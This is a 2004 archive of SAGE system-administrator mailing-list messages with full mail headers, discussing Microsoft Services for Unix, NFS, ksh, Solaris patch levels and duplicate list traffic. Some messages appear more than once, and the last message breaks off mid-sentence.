"Shane B. Milburn" Cc: sage-members@sage.org In-Reply-To: References: Content-Type: text/plain Organization: Message-Id: <1075226050.1213.13.camel@amstaff> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 27 Jan 2004 09:54:10 -0800 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 27 Jan 2004 21:04:16.0562 (UTC) FILETIME=[1FB84920:01C3E519] Sender: owner-sage-members@usenix.org Precedence: bulk I've worked with the guys from Interix (a small company that originally wrote this code and was subsequently bought by M$), and I have used their product since before the first release. This is a really good set of tools ... you can really make your windows machine look and feel like all those other N*X boxes ... the tools are POSIX conforming, the build environment works: you can download, .,/configure;make pretty much any GNU tool ('cept emacs:-<), etc. It has X clients (OK, its only X11R5, but still), and the NFS/NIS stuff also works as advertised. It is considerably better than most of its competitors - MKS, NuTCracker etc. And now they have removed the $99 cost too ... as a prelude to bundling it with the OS I suspect. -- Nick On Mon, 2004-01-26 at 21:08, Shane B. Milburn wrote: > Anyone done any testing with MS Windows Services for Unix? I > just received my February edition of SysAdmin and there is a > copy enclosed with it. > > Reading the vendor advertisement about SFU it appears to have > some interesting features, like integrating NIS into Active Directory. > If it works as advertised I could see some potential for the > product in a few specific cases especially in a lab environment. > > If you have used SFU and have any feedback (good, bad, or other) I'd > be interested in hearing about it. > > cheers, > -shane > -- > Shane B. Milburn Email: milburn@panix.com > Sr. Network Engineer GPG Key ID: 9DA907DA -- Nick Stoughton From sage-members-owner@usenix.org Wed Jan 28 02:48:12 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SAmCcH021141 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 02:48:12 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SAmBLm021137 for sage-members-outgoing; Wed, 28 Jan 2004 02:48:11 -0800 (PST) Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SAmAcG021130 for ; Wed, 28 Jan 2004 02:48:10 -0800 (PST) Date: Wed, 28 Jan 2004 10:47:54 +0000 (GMT) X-Comment: Sending client does not conform to RFC822 minimum requirements X-Comment: Date has been added by Maillennium Received: from gimley (pcp04175692pcs.neave01.pa.comcast.net[68.80.110.31]) by comcast.net (rwcrmhc13) with SMTP id <2004012810475301500kcu65e>; Wed, 28 Jan 2004 10:47:54 +0000 Message-ID: <001501c3e58c$2cafb280$18b1a8c0@gimley> From: "Kam Salisbury" To: , Subject: Re: [SAGE] Microsoft Windows Services for Unix MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id i0SAmAcG021134 Sender: owner-sage-members@usenix.org Precedence: bulk Shane B. Milburn wrote on 1/27/04 12:20 am: > >Anyone done any testing >with MS Windows Services >for Unix? I just received my -snip > >If you have used SFU and >have any feedback (good, >bad, or other) I'd be >interested in hearing about >it. > >cheers, >-shane >-- >Shane B. Milburn >Email: milburn@panix.com >Sr. Network Engineer >GPG Key ID: 9DA907DA Shane, I came by my copy at this past week's Linux World Expo. I also noticed that SFU can only be configured in NFS server or client mode only, not both. This is functional for using NFS to glue together my home network with Linux and NFS providing the NAS or virtual file system. I will post my findings after I implement this idea. If all goes well, I plan on implementing it on a much wider scale at a client's site where they are faced with an expensive hardware upgrade for generic file storage. They have an old box that can be their NAS running Linux with big and cheap IDEdrives. Good fortune to you! -- Kam Salisbury http://kamsalisbury.com From sage-members-owner@usenix.org Wed Jan 28 04:38:51 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SCcpcH007737 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 04:38:51 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SCcp9b007735 for sage-members-outgoing; Wed, 28 Jan 2004 04:38:51 -0800 (PST) Received: from gate.dab.com ([194.15.145.23]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SCcecG007676 for ; Wed, 28 Jan 2004 04:38:45 -0800 (PST) Received: (from uucp@localhost) by gate.dab.com (8.8.8/8.8.8) id NAA25769 for ; Wed, 28 Jan 2004 13:38:39 +0100 (MET) Received: from fw-inhouse-lan(172.30.14.4), claiming to be "fw-inhouse-3" via SMTP by fw-inhouse-lan, id smtpdAAA3OaasY; Wed Jan 28 13:38:17 2004 Received: from tinkywinky.rtfs.de (krabbtop.int.diraba.de [172.30.22.59]) by dab-ms01.int.diraba.de with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id ZM7DS0RH; Wed, 28 Jan 2004 13:38:19 +0100 Received: from tinkywinky.rtfs.de (bb@localhost [127.0.0.1]) by tinkywinky.rtfs.de (8.12.11/8.12.11/Debian-1) with ESMTP id i0SCcl8r027164 for ; Wed, 28 Jan 2004 13:38:47 +0100 Received: (from bb@localhost) by tinkywinky.rtfs.de (8.12.11/8.12.11/Debian-1) id i0SCclpT027163 for sage-members@usenix.org; Wed, 28 Jan 2004 13:38:47 +0100 Date: Wed, 28 Jan 2004 13:38:47 +0100 From: Gabriel Krabbe To: SAGE Members Subject: Re: [SAGE] Experience with Emulex HBA software Message-ID: <20040128123846.GL20083@tinkywinky.rtfs.de> References: <20040126142202.GH20083@tinkywinky.rtfs.de> <20040127202049.A1933@bolthole.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040127202049.A1933@bolthole.com> Organization: rtfs IT Services Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Jan 27, 2004 at 08:20:49PM -0800, Philip Brown wrote: > > speaking of patches... does anyone know of a script out there that can look > at one solaris machine, then bring another machine up to the same level of > patches? > > (when "the same level" is not neccessarily the same thing as, > "the latest patchdiag.ref") ? No. Something like cd /var/sadm/patch ls | cut -d- -f1 | uniq | while read p ; do ls -d $p* | tail -1 ; done (yes, I know) will give you the latest revision of all installed patches. However, this is no use, as you then have to find out the correct order to apply them, never mind actually finding a copy of an old version of a patch - where would you get 108528-21, now that Sun is up to 108528-27? Apart from the technicalities, please explain why you would want to get a machine up to some patch level 'at random'. If you have strict internal patch testing before release, then you'll hopefully have some defined set of procedures to roll out patches once they pass, and you'll already have some sort of depot and system logbook. If you need to clone a system for testing purposes, run flarcreate and do a flash install. Beyond that, I fail to see a need; what have I missed? Gabe From sage-members-owner@usenix.org Wed Jan 28 05:13:06 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SDD6cH015072 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 05:13:06 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SDD61F015071 for sage-members-outgoing; Wed, 28 Jan 2004 05:13:06 -0800 (PST) Received: from RIJPAT-S-325.europe.shell.com ([145.26.111.102]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SDD3cG015056 for ; Wed, 28 Jan 2004 05:13:04 -0800 (PST) Received: from mail pickup service by RIJPAT-S-325.europe.shell.com with Microsoft SMTPSVC; Wed, 28 Jan 2004 13:57:45 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 27 Jan 2004 22:21:54 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RJtvcH023209 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 27 Jan 2004 11:55:57 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0RJtqHA023207; Tue, 27 Jan 2004 11:55:52 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Tue, 27 Jan 2004 11:54:36 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RJsYcH023101 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 11:54:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RJsYlT023099 for sage-members-outgoing; Tue, 27 Jan 2004 11:54:34 -0800 (PST) Received: from bolthole.com (bolthole.com [192.220.72.215]) by usenix.org (8.12.10/8.12.10) with SMTP id i0RJsXcG023095 for ; Tue, 27 Jan 2004 11:54:33 -0800 (PST) Received: (qmail 27043 invoked by uid 18647); 27 Jan 2004 19:54:26 -0000 Date: Tue, 27 Jan 2004 11:54:26 -0800 From: Philip Brown To: sage-members@sage.org Subject: Re: [SAGE] Microsoft Windows Services for Unix Message-ID: <20040127115426.A25583@bolthole.com> Reply-To: Philip Brown References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from milburn@panix.com on Tue, Jan 27, 2004 at 12:08:18AM -0500 X-OriginalArrivalTime: 27 Jan 2004 21:21:54.0639 (UTC) FILETIME=[966205F0:01C3E51B] Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Jan 27, 2004 at 12:08:18AM -0500, Shane B. Milburn wrote: > Reading the vendor advertisement about SFU it appears to have > some interesting features, like integrating NIS into Active Directory. You're better off just converting to using LDAP From sage-members-owner@usenix.org Wed Jan 28 05:29:26 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SDTQcH019975 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 05:29:26 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SDTQ6s019970 for sage-members-outgoing; Wed, 28 Jan 2004 05:29:26 -0800 (PST) Received: from RIJPAT-S-325.europe.shell.com ([145.26.111.102]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SDTOcG019965 for ; Wed, 28 Jan 2004 05:29:24 -0800 (PST) Received: from mail pickup service by RIJPAT-S-325.europe.shell.com with Microsoft SMTPSVC; Wed, 28 Jan 2004 14:27:23 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 27 Jan 2004 18:55:39 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHsgcH012024 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 27 Jan 2004 09:54:42 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0RHsgjp012023; Tue, 27 Jan 2004 09:54:42 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Tue, 27 Jan 2004 09:54:10 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHs9cH011916 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 09:54:09 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RHs9db011915 for sage-members-outgoing; Tue, 27 Jan 2004 09:54:09 -0800 (PST) Received: from localhost.usenix.org (voyager.usenix.org [131.106.3.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHs5cG011903; Tue, 27 Jan 2004 09:54:05 -0800 (PST) Subject: Re: [SAGE] Microsoft Windows Services for Unix From: Nick Stoughton To: "Shane B. Milburn" Cc: sage-members@sage.org In-Reply-To: References: Content-Type: text/plain Organization: Message-Id: <1075226050.1213.13.camel@amstaff> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 27 Jan 2004 09:54:10 -0800 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 27 Jan 2004 17:56:11.0952 (UTC) FILETIME=[D9917300:01C3E4FE] Sender: owner-sage-members@usenix.org Precedence: bulk I've worked with the guys from Interix (a small company that originally wrote this code and was subsequently bought by M$), and I have used their product since before the first release. This is a really good set of tools ... you can really make your windows machine look and feel like all those other N*X boxes ... the tools are POSIX conforming, the build environment works: you can download, .,/configure;make pretty much any GNU tool ('cept emacs:-<), etc. It has X clients (OK, its only X11R5, but still), and the NFS/NIS stuff also works as advertised. It is considerably better than most of its competitors - MKS, NuTCracker etc. And now they have removed the $99 cost too ... as a prelude to bundling it with the OS I suspect. -- Nick On Mon, 2004-01-26 at 21:08, Shane B. Milburn wrote: > Anyone done any testing with MS Windows Services for Unix? I > just received my February edition of SysAdmin and there is a > copy enclosed with it. > > Reading the vendor advertisement about SFU it appears to have > some interesting features, like integrating NIS into Active Directory. > If it works as advertised I could see some potential for the > product in a few specific cases especially in a lab environment. > > If you have used SFU and have any feedback (good, bad, or other) I'd > be interested in hearing about it. > > cheers, > -shane > -- > Shane B. Milburn Email: milburn@panix.com > Sr. Network Engineer GPG Key ID: 9DA907DA -- Nick Stoughton From sage-members-owner@usenix.org Wed Jan 28 05:29:48 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SDTlcH020148 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 05:29:47 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SDTlTd020147 for sage-members-outgoing; Wed, 28 Jan 2004 05:29:47 -0800 (PST) Received: from RIJPAT-S-325.europe.shell.com ([145.26.111.102]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SDTicG020118 for ; Wed, 28 Jan 2004 05:29:45 -0800 (PST) Received: from mail pickup service by RIJPAT-S-325.europe.shell.com with Microsoft SMTPSVC; Wed, 28 Jan 2004 14:27:27 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 27 Jan 2004 19:38:37 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RIb2cH019321 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 27 Jan 2004 10:37:02 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0RIb1t5019319; Tue, 27 Jan 2004 10:37:02 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Tue, 27 Jan 2004 10:36:16 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RIaEcH019203 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 10:36:15 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RIaEgE019202 for sage-members-outgoing; Tue, 27 Jan 2004 10:36:14 -0800 (PST) Received: from pd5mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RIa6cG019188 for ; Tue, 27 Jan 2004 10:36:10 -0800 (PST) Received: from pd5mr1so.prod.shaw.ca (pd5mr1so-qfe3.prod.shaw.ca [10.0.141.232]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0HS50054IU4AVY@l-daemon> for sage-members@sage.org; Tue, 27 Jan 2004 11:02:34 -0700 (MST) Received: from pn2ml10so.prod.shaw.ca (pn2ml10so-qfe0.prod.shaw.ca [10.0.121.80]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0HS500HI2U4AGG@l-daemon> for sage-members@sage.org; Tue, 27 Jan 2004 11:02:34 -0700 (MST) Received: from mail.zioup.com (h68-147-26-20.cg.shawcable.net [68.147.26.20]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0HS50051VU4AJB@l-daemon> for sage-members@sage.org; Tue, 27 Jan 2004 11:02:34 -0700 (MST) Received: by mail.zioup.com (Postfix, from userid 1001) id 3E584258128; Tue, 27 Jan 2004 11:02:34 -0700 (MST) Received: from localhost (localhost [127.0.0.1]) by mail.zioup.com (Postfix) with ESMTP id 327E4210030; Tue, 27 Jan 2004 11:02:34 -0700 (MST) Date: Tue, 27 Jan 2004 11:02:34 -0700 (MST) From: Yves Dorfsman Subject: Re: [SAGE] Microsoft Windows Services for Unix In-reply-to: To: Justin Dossey Cc: sage-members@sage.org Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT References: X-OriginalArrivalTime: 27 Jan 2004 18:42:23.0551 (UTC) FILETIME=[4D91E4F0:01C3E505] Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, 27 Jan 2004, Justin Dossey wrote: > > cygwin but ran into a lot of incompatibilities (cygwin uses pdksh), he > > then tried UWin, he was fairly happy with it, but quickly switched to SFU > > when he realised it was distributed and supported by Microsoft, something > > corporations tend to prefer over "some free stuff pulled from the 'net". > > AT&T has released the Korn shell under an open source license. I had > some ksh scripts for which pdksh was not good enough, and a quick > compile later, I was happily running them with AT&T ksh. Yes, I noticed that a few days ago. For anybody interrested, it's all on http://www.kornshell.com. But still, a lot of corporations will prefer a supported download from Microsoft. Yves. ---- Yves Dorfsman yves@zioup.com http://www.cuug.ab.ca/~dorfsmay http://www.SollerS.ca From sage-members-owner@usenix.org Wed Jan 28 07:05:11 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SF5BcH001063 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 07:05:11 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SF5AXZ001059 for sage-members-outgoing; Wed, 28 Jan 2004 07:05:11 -0800 (PST) Received: from RIJPAT-S-325.europe.shell.com ([145.26.111.102]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SF58cG001026 for ; Wed, 28 Jan 2004 07:05:09 -0800 (PST) Received: from mail pickup service by RIJPAT-S-325.europe.shell.com with Microsoft SMTPSVC; Wed, 28 Jan 2004 15:46:32 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Wed, 28 Jan 2004 14:30:12 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SDTrcH020204 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 28 Jan 2004 05:29:53 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0SDTqou020194; Wed, 28 Jan 2004 05:29:52 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Wed, 28 Jan 2004 05:29:27 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SDTQcH019975 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 05:29:26 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SDTQ6s019970 for sage-members-outgoing; Wed, 28 Jan 2004 05:29:26 -0800 (PST) Received: from RIJPAT-S-325.europe.shell.com ([145.26.111.102]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SDTOcG019965 for ; Wed, 28 Jan 2004 05:29:24 -0800 (PST) Received: from mail pickup service by RIJPAT-S-325.europe.shell.com with Microsoft SMTPSVC; Wed, 28 Jan 2004 14:27:23 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 27 Jan 2004 18:55:39 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHsgcH012024 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 27 Jan 2004 09:54:42 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0RHsgjp012023; Tue, 27 Jan 2004 09:54:42 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Tue, 27 Jan 2004 09:54:10 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHs9cH011916 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 09:54:09 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RHs9db011915 for sage-members-outgoing; Tue, 27 Jan 2004 09:54:09 -0800 (PST) Received: from localhost.usenix.org (voyager.usenix.org [131.106.3.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHs5cG011903; Tue, 27 Jan 2004 09:54:05 -0800 (PST) Subject: Re: [SAGE] Microsoft Windows Services for Unix From: Nick Stoughton To: "Shane B. Milburn" Cc: sage-members@sage.org In-Reply-To: References: Content-Type: text/plain Organization: Message-Id: <1075226050.1213.13.camel@amstaff> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 27 Jan 2004 09:54:10 -0800 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 27 Jan 2004 17:56:11.0952 (UTC) FILETIME=[D9917300:01C3E4FE] Sender: owner-sage-members@usenix.org Precedence: bulk I've worked with the guys from Interix (a small company that originally wrote this code and was subsequently bought by M$), and I have used their product since before the first release. This is a really good set of tools ... you can really make your windows machine look and feel like all those other N*X boxes ... the tools are POSIX conforming, the build environment works: you can download, .,/configure;make pretty much any GNU tool ('cept emacs:-<), etc. It has X clients (OK, its only X11R5, but still), and the NFS/NIS stuff also works as advertised. It is considerably better than most of its competitors - MKS, NuTCracker etc. And now they have removed the $99 cost too ... as a prelude to bundling it with the OS I suspect. -- Nick On Mon, 2004-01-26 at 21:08, Shane B. Milburn wrote: > Anyone done any testing with MS Windows Services for Unix? I > just received my February edition of SysAdmin and there is a > copy enclosed with it. > > Reading the vendor advertisement about SFU it appears to have > some interesting features, like integrating NIS into Active Directory. > If it works as advertised I could see some potential for the > product in a few specific cases especially in a lab environment. > > If you have used SFU and have any feedback (good, bad, or other) I'd > be interested in hearing about it. > > cheers, > -shane > -- > Shane B. Milburn Email: milburn@panix.com > Sr. Network Engineer GPG Key ID: 9DA907DA -- Nick Stoughton From sage-members-owner@usenix.org Wed Jan 28 07:12:05 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SFC4cH003473 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 07:12:05 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SFC4PU003470 for sage-members-outgoing; Wed, 28 Jan 2004 07:12:04 -0800 (PST) Received: from ace.DELOS.COM (ace.DELOS.COM [192.65.171.163]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SFC2cH003457 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 07:12:02 -0800 (PST) Received: from ace.DELOS.COM (localhost [127.0.0.1]) by ace.DELOS.COM (8.12.9/8.12.9) with ESMTP id i0SFBqmN004207 for ; Wed, 28 Jan 2004 08:11:52 -0700 (MST) (envelope-from kolstad@ace.DELOS.COM) Received: (from kolstad@localhost) by ace.DELOS.COM (8.12.9/8.12.9/Submit) id i0SFBqBH004206 for sage-members@sage.org; Wed, 28 Jan 2004 08:11:52 -0700 (MST) Date: Wed, 28 Jan 2004 08:11:52 -0700 (MST) From: Rob Kolstad Message-Id: <200401281511.i0SFBqBH004206@ace.DELOS.COM> To: sage-members@sage.org Subject: [SAGE] Duplicate emails Sender: owner-sage-members@usenix.org Precedence: bulk I'm pretty sure we're seeing duplicated emails. I'm getting a LOT of list traffic right now because of all the bounces for the email-based worm that's going around. I will put a duplicate-eliminator on the list mailer if I can figure out how to do that. Failing that, our good support at USENIX knows how to firewall off the echo-er that is causing the problem. RK ====================================================================== * /\ Rob Kolstad Executive Director, SAGE * /\ / \ kolstad@sage.org FAX: +1 719-481-6551 /\/ \/ \ +1 719-481-6542 15235 Roller Coaster Road / \ / \ http://www.sage.org Colorado Springs, CO 80921 ====================================================================== From sage-members-owner@usenix.org Wed Jan 28 07:27:02 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SFR2cH007859 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 07:27:02 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SFR2sT007858 for sage-members-outgoing; Wed, 28 Jan 2004 07:27:02 -0800 (PST) Received: from gate.mental.com (gate.mental.com [192.31.14.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SFQxcG007838 for ; Wed, 28 Jan 2004 07:27:00 -0800 (PST) Received: (from uucp@localhost) by gate.mental.com (8.12.10/8.12.10/Lobo-031007) id i0SFQt99018144; Wed, 28 Jan 2004 16:26:55 +0100 (CET) Received: from twen(172.16.0.5) by gate via smap (V2.1/Lobo-030905) id xma018142; Wed, 28 Jan 04 16:26:46 +0100 Received: from mental.com (lobo@localhost [127.0.0.1]) by mental.com (8.12.10/8.12.10/Lobo-040120) with ESMTP id i0SFQksL028554; Wed, 28 Jan 2004 16:26:46 +0100 (MET) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Rob Kolstad Cc: sage-members@sage.org Subject: Re: [SAGE] Duplicate emails In-reply-to: Rob Kolstad's message of Wed, 28 Jan 2004 08:11:52 MST <200401281511.i0SFBqBH004206@ace.DELOS.COM> Organization: mental images GmbH, Berlin, Germany Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 28 Jan 2004 16:26:46 +0100 Message-ID: <28553.1075303606@mental.com> From: Alexander Lobodzinski Sender: owner-sage-members@usenix.org Precedence: bulk () I will put a duplicate-eliminator on the list mailer if I () can figure out how to do that. That sounds good. () Failing that, our good () support at USENIX knows how to firewall off the echo-er that () is causing the problem. Well, there were not many years without some duplicator cluttering this list. In previous cases a nod towards the culprit ("Hello europe.shell.com do you hear me?") seemed to be enough to fix things... Ciao, Lobo From sage-members-owner@usenix.org Wed Jan 28 07:53:47 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SFrlcH015529 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 07:53:47 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SFrl3Q015528 for sage-members-outgoing; Wed, 28 Jan 2004 07:53:47 -0800 (PST) Received: from mail-white.research.att.com (mail-red.research.att.com [192.20.225.110]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SFrjcG015513 for ; Wed, 28 Jan 2004 07:53:45 -0800 (PST) Received: from mail-blue.research.att.com (H-135-207-30-102.research.att.com [135.207.30.102]) by mail-white.research.att.com (Postfix) with ESMTP id 641D566412E for ; Wed, 28 Jan 2004 10:52:50 -0500 (EST) Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101]) by mail-blue.research.att.com (Postfix) with ESMTP id 29919F3A89 for ; Wed, 28 Jan 2004 10:49:08 -0500 (EST) Received: from research.att.com (castle7165.research.att.com [135.207.39.165]) by bigmail.research.att.com (8.11.6+Sun/8.11.6) with ESMTP id i0SFriZ06746 for ; Wed, 28 Jan 2004 10:53:44 -0500 (EST) Message-ID: <4017DB07.8040508@research.att.com> Date: Wed, 28 Jan 2004 10:53:43 -0500 From: Andrew Hume User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@usenix.org Subject: [SAGE] Re: sage-members-digest V2 #1385 References: <200401281000.i0SA01XA018243@voyager.usenix.org> In-Reply-To: <200401281000.i0SA01XA018243@voyager.usenix.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk > Date: Tue, 27 Jan 2004 18:08:01 -0800 well, i've just gone through a similiar process, although i am targeting 60-70TB rather than 2-4TB. even though many people think well of 